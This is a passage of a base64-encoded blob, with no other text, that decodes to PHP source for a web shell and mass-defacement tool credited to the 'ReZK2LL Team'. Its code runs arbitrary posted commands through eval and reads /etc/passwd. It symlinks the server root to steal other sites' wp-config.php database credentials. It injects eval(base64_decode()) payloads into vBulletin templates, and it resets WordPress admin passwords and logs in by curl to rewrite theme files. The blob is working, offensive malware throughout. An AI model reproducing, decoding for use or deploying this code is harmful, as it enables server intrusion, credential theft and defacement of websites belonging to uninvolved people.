hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1qb29tbGEiPkpvb21sYTwvYT48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9d29yZHByZXNzIj5Xb3JkcHJlc3M8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXZiIj5WYjwvYT48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9ZG9tYWlucyI+RG9tYWluczwvYT48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9c3RyaW5nIj5TdHJpbmc8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXdtIj5XcCBNYXNzPC9hPjwvZGl2Pg0KPD9waHAgaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3BocCcpKXs/Pjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PXBocCIgbWV0aG9kPSJwb3N0Ij48dGFibGUgY2xhc3M9ImNtZGJveCI+PHRyPjx0ZD48dGV4dGFyZWEgY2xhc3M9Im91dHB1dCIgbmFtZT0iY21kIiBpZD0iY21kIiBjb2xzPTkwPiANCjw/cGhwIGlmKGlzc2V0KCRfUE9TVFsnc3VibWl0Y21kJ10pKSB7ZWNobyBldmFsKG1hZ2ljYm9vbSgkX1BPU1RbJ2NtZCddKSk7fWVsc2UgZWNobyAiZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9wYXNzd2QnKTsiOz8+PC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOjE5JTsiIGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkRvICEiIG5hbWU9InN1Ym1pdGNtZCIgLz48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC9mb3JtPiA8P3BocCB9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2Fib3V0Jykpe2VjaG8gJzxjZW50ZXI+PGltZyBjbGFzcz0iSG92ZXJCb3JkZXIiIGFsdD0iIiBzcmM9ImRhdGE6aW1hZ2UvanBlZzsnLiR0dW5pc2lhLiciIC8+PC9jZW50ZXI+PGJyPjxjZW50ZXI+PGs+V2ViIFNoZWxsIEJ5IEsybGwzM2Q8YnI+PGJyPjxicj5NYWlsOiZuYnNwOzxhIGhyZWY9bWFpbHRvOmsybGwzM2RAbGl2ZS5mcj5rMmxsMzNkIFthdF0gbGl2ZS5mcjwvYT48YnI+PGJyPjxhIGhyZWY9Imh0dHBzOi8vZmFjZWJvb2suY29tL2sybGwzM2QiIHRhcmdldD0iX2JsYW5rIj5GYWNlYm9vazwvYT4mbmJzcDs8YSBocmVmPSJodHRwOi8vem9uZS1oLm9yZy9hcmNoaXZlL25vdGlmaWVyPVJlWksyTEwiIHRhcmdldD0iX2JsYW5rIj5ab25lLUg8L2E+PC9rPjwvY2VudGVyPic7fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdzeW0nKSl7QHNldF90aW1lX2xpbWl0KDApO0Bta2Rpcignc3ltJywwNzc3KTtlcnJvcl9yZXBvcnRpbmcoMCk7JGh0YWNjZXNzICA9ICJPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBnYXphLmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOyRvcCA9QGZvcGVuICgnc3ltLy5odGFjY2VzcycsJ3cnKTtmd3JpdGUoJG9wICwkaHRhY2Nlc3MpO2VjaG8gJzxjZW50ZXI+PGJyPjxicj48Zm9ybSBtZXRob2Q9InBvc3QiPiBGaWxlIFBhdGg6PGJyPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlIiB2YWx1ZT0iL2hvbWUvdXNlci9wdWJsaWNfaHRtbC9jb25maWcucGhwIiBzaXplPSI2MCIvPjxicj5TeW1saW5rIE5hbWU8YnI+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InN5bWZpbGUiIHZhbHVlPSJzLnR4dCIgc2l6ZT0iNjAiLz48YnI+PGJyPjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzeW1saW5rIiBuYW1lPSJzeW1saW5rIiAvPjxicj48YnI+PC9mb3JtPjwvY2VudGVyPic7JHRhcmdldCA9ICRfUE9TVFsnZmlsZSddOyRzeW1maWxlID0gJF9QT1NUWydzeW1maWxlJ107JHN5bWxpbmsgPSAkX1BPU1RbJ3N5bWxpbmsnXTtpZiAoJHN5bWxpbmspIHtAc3ltbGluaygiJHRhcmdldCIsInN5bS8kc3ltZmlsZSIpO2VjaG8gJzxicj48Y2VudGVyPjxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJzeW0vJy4kc3ltZmlsZS4nIiA+Jy4kc3ltZmlsZS4nPC9hPjxjZW50ZXI+Jzt9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdtYXNzJykpe2Vycm9yX3JlcG9ydGluZygwKTs/Pjx0YWJsZT48dGQgd2lkdGg9IjUwJSI+PGZvcm0gRU5DVFlQRT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSI8P3BocCAkX1NFUlZFUlsnUEhQX1NFTEYnXT8+IiBtZXRob2Q9cG9zdD48cCBhbGlnbj0iY2VudGVyIj48aDI+Rm9sZGVyPC9oMj48aW5wdXQgY2xhc3MgPSdpbnB1dHonIHR5cD10ZXh0IG5hbWU9cGF0aCBzaXplPTYwIHZhbHVlPSI8P3BocCBlY2hvIGdldGN3ZCgpOz8+Ij48YnI+PGgyPmZpbGUgbmFtZTwvaDI+PGlucHV0IGNsYXNzID0naW5wdXR6JyB0eXA9dGV4dCBuYW1lPWZpbGUgc2l6ZT02MCB2YWx1ZT0iaW5kZXgucGhwIj48YnI+PC90ZD48dGQgd2lkdGg9IjUwJSI+PGgzPkluZGV4IGNvZGUgPC9oMz48dGV4dGFyZWEgY2xhc3MgPSdpbnB1dHonIG5hbWU9aW5kZXggcm93cz0xMCBjb2xzPTQwPmhhY2tlZCBCeSBSZVpLMkxMIFRlYW08L3RleHRhcmVhPjxicj48L3RkPjwvcD48L3RhYmxlPjxjZW50ZXI+PGJyPjxicj48YnI+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9c3VibWl0IHZhbHVlPSImbmJzcDsmbmJzcDtEZWZhY2UmbmJzcDsmbmJzcDsiPjwvY2VudGVyPjwvZm9ybT48YnI+PD9waHAgJG1haW5wYXRoPSRfUE9TVFtwYXRoXTskZmlsZT0kX1BPU1RbZmlsZV07JGRpcj1vcGVuZGlyKCIkbWFpbnBhdGgiKTskY29kZT1iYXNlNjRfZW5jb2RlKCRfUE9TVFtpbmRleF0pOyRpbmR4PWJhc2U2NF9kZWNvZGUoJGNvZGUpO3doaWxlKCRyb3c9cmVhZGRpcigkZGlyKSl7JHN0YXJ0PUBmb3BlbigiJHJvdy8kZmlsZSIsIncrIik7JGZpbmlzaD1AZndyaXRlKCRzdGFydCwkaW5keCk7aWYgKCRmaW5pc2gpe2VjaG8gIiRyb3cvJGZpbGUgPiBEb25lPGJyPjxicj4iO319fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICd2YicpKSB7aWYoZW1wdHkoJF9QT1NUWydpbmRleCddKSl7ZWNobyAiPGNlbnRlcj48YnI+PGJyPjxGT1JNIG1ldGhvZD0nUE9TVCc+aG9zdCA6IDxJTlBVVCBzaXplPScxNScgY2xhc3M9J2lucHV0eicgdmFsdWU9J2xvY2FsaG9zdCcgbmFtZT0nbG9jYWxob3N0JyB0eXBlPSd0ZXh0Jz4mbmJzcDt8Jm5ic3A7ZGF0YWJhc2UgOiA8SU5QVVQgY2xhc3M9J2lucHV0eicgc2l6ZT0nMTUnIHZhbHVlPSdkYl9uYW1lJyBuYW1lPSdkYXRhYmFzZScgdHlwZT0ndGV4dCc+Jm5ic3A7fCZuYnNwO3VzZXJuYW1lIDogPElOUFVUIGNsYXNzPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nZGJfdXNlcicgbmFtZT0ndXNlcm5hbWUnIHR5cGU9J3RleHQnPiZuYnNwO3wmbmJzcDtwYXNzd29yZCA6IDxJTlBVVCBjbGFzcz0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2JkX3Bhc3MnIG5hbWU9J3Bhc3N3b3JkJyB0eXBlPSd0ZXh0Jz4mbmJzcDt8Jm5ic3A7cGVyZml4IDogPGlucHV0IGNsYXNzPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nJyBuYW1lPSdwZXJmaXgnIHR5cGU9J3RleHQnPjxicj48dGV4dGFyZWEgY2xhc3M9J2lucHV0eicgbmFtZT0naW5kZXgnIGNvbHM9JzQwJyByb3dzPScxMCc+SGFja2VkIEJ5IFJlWksyTEwgVGVhbTwvdGV4dGFyZWE+PGJyPjxJTlBVVCBjbGFzcz0naW5wdXR6YnV0JyB2YWx1ZT0nRGVmYWNlJyBuYW1lPSdzZW5kJyB0eXBlPSdzdWJtaXQnPjwvRk9STT48L2NlbnRlcj4iO31lbHNleyRsb2NhbGhvc3QgPSAkX1BPU1RbJ2xvY2FsaG9zdCddOyRkYXRhYmFzZSA9ICRfUE9TVFsnZGF0YWJhc2UnXTskdXNlcm5hbWUgPSAkX1BPU1RbJ3VzZXJuYW1lJ107JHBhc3N3b3JkID0gJF9QT1NUWydwYXNzd29yZCddOyRwZXJmaXggPSAkX1BPU1RbJ3BlcmZpeCddOyRpbmRleCA9ICRfUE9TVFsnaW5kZXgnXTtAbXlzcWxfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQpIG9yIGRpZShteXNxbF9lcnJvcigpKTtAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOyRpbmRleD1zdHJfcmVwbGFjZSgiXCciLCInIiwkaW5kZXgpOyRzZXRfaW5kZXggID0gIntcJHtldmFsKGJhc2U2NF9kZWNvZGUoXCciOyRzZXRfaW5kZXggLj0gYmFzZTY0X2VuY29kZSgiZWNobyAnJGluZGV4JzsiKTskc2V0X2luZGV4IC49ICJcJykpfX17XCR7ZXhpdCgpfX08L3RleHRhcmVhPiI7JG9rPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHBlcmZpeC4idGVtcGxhdGUgU0VUIHRlbXBsYXRlID0nIi4kc2V0X2luZGV4LiInIFdIRVJFIHRpdGxlID0nRk9SVU1IT01FJyIpIG9yIGRpZShteXNxbF9lcnJvcigpKTtpZigkb2spe2VjaG8gIkRlZmFjZWQ8YnI+PGJyPiI7fX19DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3dtJykpe2luaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtzZXRfdGltZV9saW1pdCgwKTtAc2Vzc2lvbl9zdGFydCgpOyRiYXNlX3BhdGggPSBkaXJuYW1lKF9fRklMRV9fKS4nLyc7ZnVuY3Rpb24gZW50cmUydjIoJHRleHQsJG1hcnF1ZXVyRGVidXRMaWVuLCRtYXJxdWV1ckZpbkxpZW4sJGk9MSl7JGFyMD1leHBsb2RlKCRtYXJxdWV1ckRlYnV0TGllbiwgJHRleHQpOyRhcjE9ZXhwbG9kZSgkbWFycXVldXJGaW5MaWVuLCAkYXIwWyRpXSk7cmV0dXJuIHRyaW0oJGFyMVswXSk7fWZ1bmN0aW9uIHJhbmRvbXQoKSB7JGNoYXJzID0gImFiY2RlZmdoaWprbW5vcHFyc3R1dnd4eXowMjM0NTY3ODkiO3NyYW5kKChkb3VibGUpbWljcm90aW1lKCkqMTAwMDAwMCk7JGkgPSAwOyRwYXNzID0gJyc7d2hpbGUgKCRpIDw9IDcpIHskbnVtID0gcmFuZCgpICUgMzM7JHRtcCA9IHN1YnN0cigkY2hhcnMsICRudW0sIDEpOyRwYXNzID0gJHBhc3MgLiAkdG1wOyRpKys7fXJldHVybiAkcGFzczt9ZnVuY3Rpb24gaW5kZXhfY2hhbmdlcl93cCgkY29uZiwgJGNvbnRlbnQpIHskb3V0cHV0ID0gJyc7JGRvbCA9ICckJzskdXNlcm5hbWUgPSBlbnRyZTJ2MigkY29uZiwiZGVmaW5lKCdEQl9VU0VSJywgJyIsIicpOyIpOyRwYXNzd29yZCA9IGVudHJlMnYyKCRjb25mLCJkZWZpbmUoJ0RCX1BBU1NXT1JEJywgJyIsIicpOyIpOyRkYm5hbWUgPSBlbnRyZTJ2MigkY29uZiwiZGVmaW5lKCdEQl9OQU1FJywgJyIsIicpOyIpOyRwcmVmaXggPSBlbnRyZTJ2MigkY29uZiwkZG9sLiJ0YWJsZV9wcmVmaXggID0gJyIsIiciKTskaG9zdCA9IGVudHJlMnYyKCRjb25mLCJkZWZpbmUoJ0RCX0hPU1QnLCAnIiwiJyk7Iik7JGxpbms9bXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkKTtpZigkbGluaykge215c3FsX3NlbGVjdF9kYigkZGJuYW1lLCRsaW5rKSA7JGRvbCA9ICckJzskcmVxMSA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgYCIuJHByZWZpeC4idXNlcnNgIFNFVCBgdXNlcl9sb2dpbmAgPSAnazInLGB1c2VyX3Bhc3NgID0gJzQyOTdmNDRiMTM5NTUyMzUyNDViMjQ5NzM5OWQ3YTkzJyBXSEVSRSBgSURgID0gMSIpO30gZWxzZSB7JG91dHB1dC49ICJbLV0gREIgRXJyb3I8YnI+Ijt9aWYoJHJlcTEpIHskcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSdob21lJyIpOyRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7JHNpdGVfdXJsPSRkYXRhWyJvcHRpb25fdmFsdWUiXTskcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSd0ZW1wbGF0ZSciKTskZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOyR0ZW1wbGF0ZSA9ICRkYXRhWyJvcHRpb25fdmFsdWUiXTskcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSdjdXJyZW50X3RoZW1lJyIpOyRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7JGN1cnJlbnRfdGhlbWUgPSAkZGF0YVsib3B0aW9uX3ZhbHVlIl07JHVzZXJhZ2VudD0iTW96aWxsYS80LjAgKGNvbXBhdGlibGU7TVNJRSA3LjBiO1dpbmRvd3MgTlQgNS4xOy5ORVQgQ0xSIDEuMS40MzIyO0FsZXhhIFRvb2xiYXI7Lk5FVCBDTFIgMi4wLjUwNzI3KSI7JHVybDI9JHNpdGVfdXJsLiIvd3AtbG9naW4ucGhwIjskY2ggPSBjdXJsX2luaXQoKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJsb2c9azImcHdkPTEyMzEyMyZyZW1lbWJlcm1lPWZvcmV2ZXImd3Atc3VibWl0PUxvZyBJbiZ0ZXN0Y29va2llPTEiKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDEwKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAiQ09PS0lFLnR4dCIpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAiQ09PS0lFLnR4dCIpOyRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTskcG9zID0gc3RycG9zKCRidWZmZXIsImFjdGlvbj1sb2dvdXQiKTtpZigkcG9zID09PSBmYWxzZSkgeyRvdXRwdXQuPSAiWy1dIFN1Y2Nlc3NmdWwgTG9naW48YnI+Ijt9IGVsc2UgeyRvdXRwdXQuPSAiWytdIFN1Y2Nlc3NmdWwgTG9naW48YnI+Ijt9JHVybDI9JHNpdGVfdXJsLiIvd3AtYWRtaW4vdGhlbWUtZWRpdG9yLnBocD9maWxlPS90aGVtZXMvIi4kdGVtcGxhdGUuJy9pbmRleC5waHAmdGhlbWU9Jy51cmxlbmNvZGUoJGN1cnJlbnRfdGhlbWUpLicmZGlyPXRoZW1lJztjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgIkNPT0tJRS50eHQiKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTskYnVmZmVyMCA9IGN1cmxfZXhlYygkY2gpOyRfd3Bub25jZSA9IGVudHJlMnYyKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iX3dwbm9uY2UiIG5hbWU9Il93cG5vbmNlIiB2YWx1ZT0iJywnIiAvPicpOyRfZmlsZSA9IGVudHJlMnYyKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJywnIiAvPicpO2lmKHN1YnN0cl9jb3VudCgkX2ZpbGUsIi9pbmRleC5waHAiKSAhPSAwKXskb3V0cHV0Lj0gIlsrXSBpbmRleC5waHAgT3BlbmVkPGJyPiI7fWVsc2UgeyRvdXRwdXQuPSAiWy1dIGluZGV4LnBocCBVbmFibGUgdG8gb3Blbjxicj4iO30kdXJsMj0kc2l0ZV91cmwuIi93cC1hZG1pbi90aGVtZS1lZGl0b3IucGhwIjtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJuZXdjb250ZW50PSIuJGNvbnRlbnQuIiZhY3Rpb249dXBkYXRlJmZpbGU9Ii4kX2ZpbGUuIiZfd3Bub25jZT0iLiRfd3Bub25jZS4iJnN1Ym1pdD1VcGRhdGUgRmlsZSIpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7Y3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgIkNPT0tJRS50eHQiKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTskYnVmZmVyID0gY3VybF9leGVjKCRjaCk7Y3VybF9jbG9zZSgkY2gpOyRwb3MgPSBzdHJwb3MoJGJ1ZmZlciwnPGRpdiBpZD0ibWVzc2FnZSIgY2xhc3M9InVwZGF0ZWQiPicpOyRjb25kID0gMDtpZigkcG9zID09PSBmYWxzZSl7JG91dHB1dC49ICJbLV0gaW5kZXgucGhwIEZhaWxlZDxicj4iO30gZWxzZSB7JG91dHB1dC49ICJbK10gaW5kZXgucGhwIEZhaWxlZCs8YnI+IjskY29uZCA9IDE7fX0gZWxzZSB7JG91dHB1dC49ICJbLV0gREIgRXJyb3I8YnI+Ijt9Z2xvYmFsICRiYXNlX3BhdGg7dW5saW5rKCRiYXNlX3BhdGguJ0NPT0tJRS50eHQnKTtyZXR1cm4gYXJyYXkoJ2NvbmQnPT4kY29uZCwgJ291dHB1dCc9PiRvdXRwdXQpO31mdW5jdGlvbiBleGVjX21vZGVfMSgkZGVmX3VybCkge0Bta2Rpcignc3ltJywwNzc3KTskd3IgID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjskZnAgPSBAZm9wZW4gKCdzeW0vLmh0YWNjZXNzJywndycpO2Z3cml0ZSgkZnAsICR3cik7QHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOyRkb21pbmlvcyA9IEBmaWxlX2dldF9jb250ZW50cygiL2V0Yy9uYW1lZC5jb25mIik7QHByZWdfbWF0Y2hfYWxsKCcvLio/em9uZSAiKC4qPykiIHsvJywgJGRvbWluaW9zLCAkb3V0KTskb3V0WzFdID0gYXJyYXlfdW5pcXVlKCRvdXRbMV0pOyRudW1lcm9fZG9taW5pb3MgPSBjb3VudCgkb3V0WzFdKTtlY2hvICJUb3RhbCBXZWJzaXRlczogJG51bWVyb19kb21pbmlvcyA8YnI+PGJyPiI7JGRlZiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRkZWZfdXJsKTskZGVmID0gdXJsZW5jb2RlKCRkZWYpOyRiYXNlX3VybCA9ICdodHRwOi8vJy4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS5kaXJuYW1lKCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKS4nL3N5bS9yb290L2hvbWUvJzskb3V0cHV0ID0gZm9wZW4oJ2RlZmFjZWQuaHRtbCcsICdhKycpOyRfU0VTU0lPTlsnY291bnQxJ10gPSAoaXNzZXQoJF9HRVRbJ3N0J10pICYmICRfR0VUWydzdCddIT0nJykgPyAoaXNzZXQoJF9TRVNTSU9OWydjb3VudDEnXSkgPyAkX1NFU1NJT05bJ2NvdW50MSddIDowICkgOiAwOyRfU0VTU0lPTlsnY291bnQyJ10gPSAoaXNzZXQoJF9HRVRbJ3N0J10pICYmICRfR0VUWydzdCddIT0nJykgPyAoaXNzZXQoJF9TRVNTSU9OWydjb3VudDInXSkgPyAkX1NFU1NJT05bJ2NvdW50MiddIDowICkgOiAwO2VjaG8gJzx0YWJsZSBzdHlsZT0id2lkdGg6NzUlOyI+PHRyIHN0eWxlPSJiYWNrZ3JvdW5kOnJnYmEoMTYwLCA4MiwgNDUsMC42KTsiPjx0aD5JRDwvdGg+PHRoPlNJRDwvdGg+PHRoPkRvbWFpbjwvdGg+PHRoPlNjcmlwdDwvdGg+PHRoPlByb2Nlc3M8L3RoPjx0aD5SZXN1bHRzPC90aD48L3RyPic7JGogPSAxOyRzdCA9IChpc3NldCgkX0dFVFsnc3QnXSkgJiYgJF9HRVRbJ3N0J10hPScnKSA/ICRfR0VUWydzdCddIDogMDtmb3IoJGkgPSAkc3Q7JGkgPD0gJG51bWVyb19kb21pbmlvczskaSsrKXskZG9tYWluID0gJG91dFsxXVskaV07JGRvbm9fYXJxdWl2byA9IEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluKTskaW5mb3MgPSBAcG9zaXhfZ2V0cHd1aWQoJGRvbm9fYXJxdWl2byk7JGNvbmZpZzAyID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRiYXNlX3VybC4kaW5mb3NbJ25hbWUnXS4iL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAiKTskY2xzID0gKCRqICUgMiA9PSAwKSA/ICdjbGFzcz0iZXZlbiInIDogJ2NsYXNzPSJvZGQiJztpZigkY29uZmlnMDIgJiYgcHJlZ19tYXRjaCgnL0RCX05BTUUvaScsJGNvbmZpZzAyKSl7ZWNobyAnPHRyICcuJGNscy4nPjx0ZCBhbGlnbj0iY2VudGVyIj4nLigkaisrKS4nPC90ZD48dGQgYWxpZ249ImNlbnRlciI+Jy4kaS4nPC90ZD48dGQ+PGEgaHJlZj0iaHR0cDovLycuJGRvbWFpbi4nIiB0YXJnZXQ9ImJsYW5rIj4nLiRkb21haW4uJzwvYT48L3RkPic7ZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJ5ZWxsb3ciPldPUkRQUkVTUzwvZm9udD48L3RkPic7JHJlcyA9IGluZGV4X2NoYW5nZXJfd3AoJGNvbmZpZzAyLCAkZGVmKTtlY2hvICc8dGQ+Jy4kcmVzWydvdXRwdXQnXS4nPC90ZD4nO2lmKCRyZXNbJ2NvbmQnXSl7ZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJncmVlbiI+SEFDS0VEPC9zcGFuPjwvdGQ+Jztmd3JpdGUoJG91dHB1dCwgJ2h0dHA6Ly8nLiRkb21haW4uIjxicj4iKTskX1NFU1NJT05bJ2NvdW50MiddID0gJF9TRVNTSU9OWydjb3VudDInXSArIDE7fSBlbHNlIHtlY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9InJlZCI+dW5zdWNjZXNzZnVsPC9zcGFuPjwvdGQ+Jzt9ZWNobyAnPC90cj4nO319ZWNobyAnPC90YWJsZT4nO2VjaG8gJzxoci8+JztlY2hvICdUb3RhbCBEZWZhY2UgPSAnLigkX1NFU1NJT05bJ2NvdW50MSddKyRfU0VTU0lPTlsnY291bnQyJ10pLic8YnI+JztlY2hvICc8YSBocmVmPSJkZWZhY2VkLmh0bWwiIHRhcmdldD0iX2JsYW5rIj5MaXN0IFdlYnNpdGVzIERlZmFjZWQ8L2E+PGJyPic7fWVjaG8gJzxoZWFkPjxwPjxoMiBzdHlsZT0iY29sb3I6I0ZGMDAwMDt0ZXh0LWFsaWduOiBjZW50ZXI7Zm9udC1mYW1pbHk6b3JiaXRyb247Zm9udC1zaXplOjI1cHg7Ij5Xb3JkcHJlc3MgTWFzcyBEZWZhY2VyPC9oMj48bGluayBocmVmPSJodHRwOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1PcmJpdHJvbjo3MDAiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ym9keSB7Y29sb3I6IHdoaXRlO2ZvbnQtZmFtaWx5OiAib3JiaXRyb24iO30uaGVhZGVyIHtwb3NpdGlvbjpmaXhlZDt3aWR0aDoxMDAlO3RvcDowO2JhY2tncm91bmQ6IzAwMDt9LmZvb3RlciB7cG9zaXRpb246Zml4ZWQ7d2lkdGg6MTAwJTtib3R0b206MDtiYWNrZ3JvdW5kOiMwMDA7fTwvc3R5bGU+PC9wPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij5mdW5jdGlvbiBjaGFuZ2UoKSB7aWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdyY2RcJykuY2hlY2tlZCA9PSB0cnVlKSB7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCd0cmFcJykuc3R5bGUuZGlzcGxheSA9IFwnXCc7fSBlbHNlIHtkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ3RyYVwnKS5zdHlsZS5kaXNwbGF5ID0gXCdub25lXCc7fSB9ZnVuY3Rpb24gaGlkZSgpIHtkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ3RyYVwnKS5zdHlsZS5kaXNwbGF5ID0gXCdub25lXCc7fTwvc2NyaXB0PjwvaGVhZD48